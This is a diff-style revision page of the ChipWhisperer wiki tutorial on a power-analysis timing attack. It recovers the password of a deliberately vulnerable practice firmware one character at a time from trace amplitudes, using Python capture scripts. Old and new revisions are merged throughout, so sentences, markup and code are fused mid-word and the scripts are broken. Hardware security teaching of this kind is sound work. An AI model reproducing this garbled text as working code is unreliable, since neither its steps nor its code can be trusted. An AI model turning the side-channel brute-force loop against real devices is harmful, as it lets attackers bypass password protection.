Changes

You can also view If you want to get a 53-min rough idea, there is a video of the V3 of the tutorial (which differs from the V4 version). See [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:

== Prerequisites ==

== Building the Target Firmware ==

The target firmware we'll be using for this tutorial is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck</code>. Build the firmware using <code>make</code>, once again being careful to ensure you are using the correct <code>PLATFORM{{CollapsibleSection|intro =</code> command. You should end up === Building for CWLite with something like this being printed:XMEGA Target ===|content= Building for XMEGA}}

Program: 5400 bytes (3.9% Full)== Hardware Setup =={{CollapsibleSection|intro = === CW1173 (.text + .data + .bootloaderLite)Hardware Setup ===|content= CWLite HW Setup}}

Data: 524 bytes {{CollapsibleSection|intro = === CW1200 (6.4% FullPro)Hardware Setup ===(.data + .bss + .noinit)|content= CW1200 HW Setup}}

Built for platform CW-Lite == Programming the Target =={{CollapsibleSection|intro = === Programming the XMEGATarget ===|content= Programming XMEGA}}

{{CollapsibleSection|intro = Manual Communications with the Target === Programming Other Targets ===|content= Programming Other}}

At this point, you should be able to configure == Manual Communications with the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.Target ==

<ol style="list-style-type: decimal;"><li>Connect your target hardware (ChipWhisperer-Lite/Pro or Assuming you have ChipWhisperer-Capture Rev 2 with setup when you programmed the target board).</li><li>Open the ChipWhisperer-Capture software.</li><li>From the (if not, run ''Example Scriptsconnect_cwlite_simpleserial.py'', select one which most closely matches your hardware. For example here I'm using a ChipWhisperer-Lite with and the XMEGA target, so will select the "ChipWhisperer-Lite: AES SimpleSerial on XMEGA" script. Note I'm 'setup_*.py'NOT'' attacking AES, so will need to make some adjustments later. (The "Timing Attack on CW-Lite (XMEGA)" script already does most of this for us, so using it would defeat the purpose of this tutorial.)</li><li>The system should connect relevant to your hardware. Remember you have not yet reprogrammed the target so won't be communicating with the target program.</li><li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li><li><p>Select can continue by selecting ''Tools --> Terminal'', and press pressing ''Connect''. You should see a window such as this:</p><blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li><li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. If your target doesn't have a programmer in ChipWhisperer Capture, you can manually toggle the reset pin. This is typically the ''nrst'' pin. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p><blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote><dl><dt>'''Note a few warnings about the terminal emulator:</dt>'''<dd><ul><li>* The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li><li>* You can uncheck the &quot;Show non-ASCII as hex&quot; to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul></dd></dl></li><li><p> We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p><blockquote><p>'''tip'''</p><p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li><li><p>Using the terminal emulator, write the correct password in, and press <code>&lt;enter&gt;</code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p><p>[[File:Passok.png|image]]</p></li><li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li><li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol>

Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on. == Recording Power Traces ==

<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters). For example, on an XMEGA target:</p>

== Automatic Resets ==

TODO - see Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset via programming interface for nowthe target chip before arming the measurement so that we don't have to manually reset the device.

=== Reset via Auxiliary Module Spare IO Lines ===

TODO - see reset via programming interface for now === Reset via Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.Module ===

<li> WeScroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". If you're going not using the XMEGA target, you'll need to edit the script to use the ''Reset AVR/XMEGA via CW-Litenrst'' auxiliary module. Let's get an idea pin instead of how this module works: * Navigate to the auxiliary modules folder (<codeu>chipwhisperer\software\chipwhisperer\capture\auxiliary\</code>) and open <code>ResetCW1183Read.py</code> in your choice of text editor.* Find the function definition for <code>resetDevice()</code>. It contains a line that looks like: <pre>CWCoreAPI.getInstance().getScope().scopetype.cwliteXMEGA.readSignature()</pre>* Look for the lines where this function gets called. You'll find that the function <code>traceArm()'pdic''</codeu> uses it like: <prebr>resettiming = self.findParam('resettiming').value()if resettiming == 'Pre-Arm'[[File: self.resetDevice()</pre>Effectively, this code will read the target's signature before we arm the power measurement. This means that the target will automatically be reset before capturing a power traceauxreset_test1.png|600px]]

 <li> Go back to Hit the ChipWhisperer Capture software"Run" button. In If you switch to the ''Generic Settings'' "Auxilary Module" tab, switch the Auxiliary Module to ''Reset AVR/XMEGA via CW-Liteyou'll see it's been added to the list of modules at the specified location.:</libr><li> Now, in the ''Aux Settings'' tab, we can configure our automatic reset[[File:auxreset_test2. Make sure the settings are:* Pre-arm delay: roughly 1200 ms* Post-arm delay: the default (0 ms) is fine* Reset timing: Pre-arm (reset the device before we arm the scope)png|400px]]

Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script. == Performing the Timing Attack ==

If you're comfortable with python scripting, you may want to use a standalone script utilizing ChipWhisperer's python module. See [[Making Scripts]] for examples on recording and interacting with traces. === Scripting the Setup ===

<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>cwlite-simpleserialxmegasetup_cwlite_xmega.py</code>. Make a copy of this script and put in the same directory (or copy it somewhere memorable.</li><li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set the parameters:</p><pre>#Example of using a list to set parameters. Slightly easier to copy/paste in this formatlstexample = [['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True], ['CW Extra', 'CW Extra Settings', 'Target IOn Pins', 'Target IO1', 'Serial RXD'], ['CW Extra', 'CW Extra Settings', 'Target IOn Pins', 'Target IO2', 'Serial TXD'], ['OpenADC', 'Clock Setup', 'CLKGEN Settings', 'Desired Frequency', 7370000.0], ['CW Extra', 'CW Extra Settings', 'Target HS IO-Out', 'CLKGEN'], ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'CLKGEN x4 via DCM'], ['OpenADC', 'Trigger Setup', 'Total Samples', 3000], ['OpenADC', 'Trigger Setup', 'Offset', 1500], ['OpenADC', 'Gain Setting', 'Setting', 45], ['OpenADC', 'Trigger Setup', 'Mode', 'rising edge'], #Final step: make DCMs relock in case they are lost ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None], ]</pre><p>Those parameters come from the ''Scripting Parameters'' tab. Switch over to it and notice this tab logs all of the parameter changes, showing you how to change the parameters through the API:</p><blockquote><p>[[File:Scriptcommands.png|image]]</p></blockquote><p>Note that commands run via the script are also printed, so you can see where the values being set are coming from too. </p>

<li>Once again on the ''Target Settings'' tab<p>Next, delete append the various required commandsto clear the simpleserial commands and to enable the automatic resets. Make a note of Doing so will require two steps: (1) figuring out the resulting ''Script Commands'' which you will need target settings and adjusting them, and (2) inserting our code to enter to achieve this same goal. Close ChipWhisperer-Captureperform the device reset.</lip><li><p>Continue editing your script. FirstUsing the console, find you can dump parameters of the line setting the Trigger Offsetsimpleserial target (assuming you are still connected):</psyntaxhighlight lang=python><pre>['OpenADC', 'Trigger Setup', 'Offset', 1500],</pre>> target<init_cmd = key_cmd = k$KEY$\ninput_cmd = go_cmd = p>And set this to 0, which we were using previously:</p>$TEXT$\noutput_cmd = r$RESPONSE$\nbaud = 38400protver = <pre>['OpenADC', 'Trigger Setup', 'Offset', 0],</pre></lisyntaxhighlight><li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets:</p><pre/li>#Example of using a list to set parameters. Slightly easier to copy/paste in this formatlstexample = [['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True], ...BUNCH MORE COMMANDS HERE HAVE BEEN REMOVED... #Final step: make DCMs relock in case they are lost ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None],

#Append your commands here<li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script: [<syntaxhighlight lang=python>target.key_cmd = 'Simple Serial', target.go_cmd = 'Load Key Command', u''], [target.output_cmd = 'Simple Serial', 'Go Command', u''], ['Simple Serial', 'Output Format', u''], </syntaxhighlight></li>

['Generic Settings', 'Auxiliary Module', 'Reset AVR/XMEGA via CW-Lite']<li>Remembering the auxilary module,you can also add the lines to perform this task as well to your script: ['Aux Settings', 'Reset AVR/XMEGA via CW-Lite', 'Delay <syntaxhighlight lang=python>from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173Resetter = ResetCW1173(Post-Arm)'xmega=True, delay_ms=1200])aux_list.register(Resetter.resetThenDelay, "before_trace") ]</presyntaxhighlight></li>

<li><p>Finally, we We will need to set the passwordguess so we can observe different traces. You can enter the password in the Capture ''Target Settings'' tab, and see the following sort of call would set the appropriate password:or simply use a command like </pcode><pre>selftarget.api.setParameter([go_cmd = 'Simple Serial', 'Go Command', u'h0px3\h0p3\n'])</precode>.</p>Note the newline is actually escaped, to set the text equivalent of what will be printed. This will result in an actual newline going out across the serial port. Set that command at some point in your script.</pli><li>Close any open ChipWhisperer-Capture windowsFinally, and run the script as beforeyou made. You It should connect load all settings & on hitting capture-1 you will get a waveform related to the target, and be able to press ''Capture 1'' and see power measurement during the correct waveformcomparison.</li>

== Running a Single Capture ==With our settings prepared, the next step is The API allows us to use our script to record ''press the Capture 1'' button and analyze a ''view the power trace'' without using the GUI. We There are two relevant commands here. First, we'll need to be able to get the trace data into our Python script so import ChipWhisperer: * <code>import chipwhisperer as cw</code> Then, we can analyze it build our own "capture controller". This controller deals with talking to the scope and target for you. To capture a single trace you could perform the timing attackfollowing steps: <syntaxhighlight lang=python># Test one capturecw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)trace = scope.getLastTrace()</syntaxhighlight>

<presyntaxhighlight lang=python>#Put this at beginning of scriptimport chipwhisperer as cw #Put this later on after setup happenscw.captureN(self.apiscope, self.capture1()data = target, None, self.apiaux_list, self.getScope(ktp, 1)trace = scope.channels[0].getTracegetLastTrace()print datatrace</presyntaxhighlight> Run your script. The ChipWhisperer should automatically capture one trace and print out the several thousand some datapoints. (Note that output of <code>print</code> statements may go to the ''Debug Logging'' tab in the GUI.) This is all we need to continue.

=== Attacking a Single Letter ===

<li><p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward (what this point will be and how far it will shift will depend on your target) in time:</p>

<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc your compiler to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p></li>

<li> Add a loop to your script that does the following:

 <presyntaxhighlight lang=python>

# Test this password and record Get a power traceusing our next attempt selfnextPass = password + '{}'.api.setParameterformat(['Simple Serial', 'Go Command', c ) + '"\n'])" target.go_cmd = nextPass cw.captureN(self.apiscope, self.capture1(target, None, self.aux_list, self.ktp, 1) # Get Grab the data trace and check data[153] data nextTrace = selfscope.api.getScope().channels[0].getTracegetLastTrace() if datanextTrace[153] > -0.2:

</presyntaxhighlight>

=== Attacking the Full Password ===

<presyntaxhighlight lang=python># Crack the first letter

nextPass = password + '{}'.format(c)+ "\n" selftarget.apigo_cmd = nextPass cw.setParametercaptureN(['Simple Serial'self.scope, 'Go Command'self.target, '{}\n'None, self.format(nextPass)]) aux_list, self.api.capture1(ktp, 1)

nextTrace = selfscope.api.getScope().channels[0].getTracegetLastTrace()

</presyntaxhighlight>

== Conclusion ==

== Appendix: Completed Timing Attack Script ==The <code>run()</code> function at the end of the complete tutorial might look something like the followingthis:<presyntaxhighlight lang=python>"""This script is an example of a timing attack on a simple password checker. It is the result of Tutorial B3-1 from the ChipWhisperer Wiki.""" import chipwhisperer as cwfrom chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173 # GUI compatibilitytry: def runscope = self.scope target = self.target aux_list = self.aux_listexcept NameError: pass # Set up scopescope.gain.gain = 45scope.adc.samples = 2000scope.adc.offset = 0scope.adc.basic_mode = "rising_edge"scope.clock.clkgen_freq = 7370000scope.clock.adc_src = "clkgen_x4"scope.trigger.triggers = "tio4"scope.io.tio1 = "serial_rx"scope.io.tio2 = "serial_tx"scope.io.hs2 = "clkgen" # Set up targettarget.key_cmd = ""target.go_cmd = "h0px3\n"target.output_cmd = "" # Set up aux module to reset target before captureresetter = ResetCW1173(xmega=True, delay_ms=1200)aux_list.register(resetter.resetThenDelay, "before_trace") # Test one capturecw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)trace = scope.getLastTrace()print trace # Crack the first letterpassword = ''trylist = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(5): for c in trylist: # This is the function that gets called when Get a power trace using our script startsnext attempt nextPass = password + '{}'.format(c) + "\n" target.go_cmd = nextPass cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)

# First: set up Grab the basics and connect to the CW-Litetrace self.api.setParameter(['Generic Settings', 'Scope Module', 'ChipWhisperer/OpenADC']) self.api.setParameter(['Generic Settings', 'Target Module', 'Simple Serial']) self.api.setParameter(['Generic Settings', 'Trace Format', 'ChipWhisperer/Native']) self.api.setParameter(['Simple Serial', 'Connection', 'ChipWhisperer-Lite']) self.api.setParameter(['ChipWhisperer/OpenADC', 'Connection', 'ChipWhisperer-Lite']) self.apinextTrace = scope.connectgetLastTrace()

# Next: set up everything we need to connect to the target # Put all of our commands in a list and execute them at the end lstexample = [ # Gain ['OpenADC', 'Gain Setting', 'Setting', 45], # Trigger ['OpenADC', 'Trigger Setup', 'Mode', 'rising edge'], ['OpenADC', 'Trigger Setup', 'Offset', 0], ['OpenADC', 'Trigger Setup', 'Total Samples', 2000], # Clock ['OpenADC', 'Clock Setup', 'CLKGEN Settings', 'Desired Frequency', 7370000.0], ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'CLKGEN x4 via DCM'], ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None], # Pins ['CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True], ['CW Extra Settings', 'Target HS IO-Out', 'CLKGEN'], ['CW Extra Settings', 'Target IOn Pins', 'Target IO1', 'Serial RXD'], ['CW Extra Settings', 'Target IOn Pins', 'Target IO2', 'Serial TXD'], # Automatic commands ['Simple Serial', 'Load Key Command', ''], ['Simple Serial', 'Go Command', 'h0px3\n'], ['Simple Serial', 'Output Format', ''], # Auto-reset ['Generic Settings', 'Auxiliary Module', 'Reset AVR/XMEGA via CW-Lite'], ['Aux Settings', 'Reset AVR/XMEGA via CW-Lite', 'Delay (Post-Arm)', 1200], ] #Download all hardware setup parameters for cmd in lstexample: self.api.setParameter(cmd) # Get one capture for fun self.api.capture1() data = self.api.getScope().channels[0].getTrace() print data # Crack the first letter password = '' trylist = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(5): for c in trylist: # Get a power trace using our next attempt nextPass = password + '{}'.format(c) self.api.setParameter(['Simple Serial', 'Go Command', '{}\n'.format(nextPass)]) self.api.capture1() # Grab the trace nextTrace = self.api.getScope().channels[0].getTrace() # Check location 153, 225, etc. If it's too low, we've failed if nextTrace[153 + 72*i] < -0.2: continue # If we got here, we've found the right letter password += c print '{} characters: {}'.format(i+1, password) break</presyntaxhighlight> == Links ==